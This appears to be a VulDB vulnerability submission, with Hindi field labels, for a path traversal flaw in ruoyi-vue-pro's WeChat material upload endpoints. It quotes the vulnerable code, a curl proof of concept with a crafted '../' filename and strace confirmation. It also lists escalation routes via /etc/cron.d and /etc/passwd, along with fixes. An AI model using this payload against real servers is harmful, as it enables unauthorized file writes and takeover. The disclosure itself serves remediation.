| शीर्षक | zhijiantianya ruoyi-vue-pro 2026.06 路径遍历 |
|---|
| विवरण | A path traversal vulnerability was discovered in the MpMaterialService file upload functionality of ruoyi-vue-pro (yudao-server). The getOriginalFilename() return value is directly concatenated with getTmpDirPath() without filtering ../ path traversal characters. An attacker can upload a file with crafted filename to write files to arbitrary system directories.
IMPORTANT: This is a DIFFERENT vulnerability from CVE-2025-2708. CVE-2025-2708 affects /admin-api/infra/file/upload (FileController). This vulnerability affects /admin-api/mp/material/upload-temporary and /admin-api/mp/material/upload-permanent (MpMaterialService). Different file, different endpoint, different code.
Vulnerable file: yudao-module-mp/src/main/java/cn/iocoder/yudao/module/mp/service/material/MpMaterialServiceImpl.java
Vulnerable lines: 93, 125, 153
Vulnerable code:
```java
file = FileUtil.newFile(FileUtil.getTmpDirPath() + reqVO.getFile().getOriginalFilename());
reqVO.getFile().transferTo(file);
```
Affected endpoints:
- POST /admin-api/mp/material/upload-temporary
- POST /admin-api/mp/material/upload-permanent
Proof of Concept:
```bash
curl -X POST 'http://target:48080/admin-api/mp/material/upload-temporary' \
-H "Authorization: Bearer $TOKEN" -H 'tenant-id: 1' \
-F '[email protected];filename=/../../tmp/exploit'
```
Verification results (confirmed via strace):
```
open("/tmp/../../tmp/exploit", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 50
write(50, "payload content", 15) = 15
```
File successfully written to target directory (deleted by finally block afterward, but write action occurred).
Impact:
1. Arbitrary file write: write to any system directory (within service permissions)
2. RCE: if service runs as root, can write to /etc/cron.d/ for privilege escalation
3. System file overwrite: overwrite /etc/passwd etc.
CVSS 3.1: 7.5 High (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N)
Solution:
1. Use UUID to generate filename, do not use getOriginalFilename()
2. Or filter ../, ..\, absolute paths from filename |
|---|
| स्रोत | ⚠️ https://github.com/YunaiV/ruoyi-vue-pro/blob/master/yudao-module-mp/src/main/java/cn/iocoder/yudao/module/mp/service/material/MpMaterialServiceImpl.java |
|---|
| उपयोगकर्ता | liuyulin (UID 100186) |
|---|
| सबमिशन | 29/07/2026 03:47 AM (2 महीनों पहले) |
|---|
| संयम | 24/09/2026 01:34 PM (2 months later) |
|---|
| स्थिति | स्वीकृत |
|---|
| VulDB प्रविष्टि | 409331 [YunaiV/zhijiantianya ruoyi-vue-pro तक 2026.08 File Upload MpMaterialServiceImpl.java getOriginalFilename निर्देशिका ट्रैवर्सल] |
|---|
| अंक | 20 |
|---|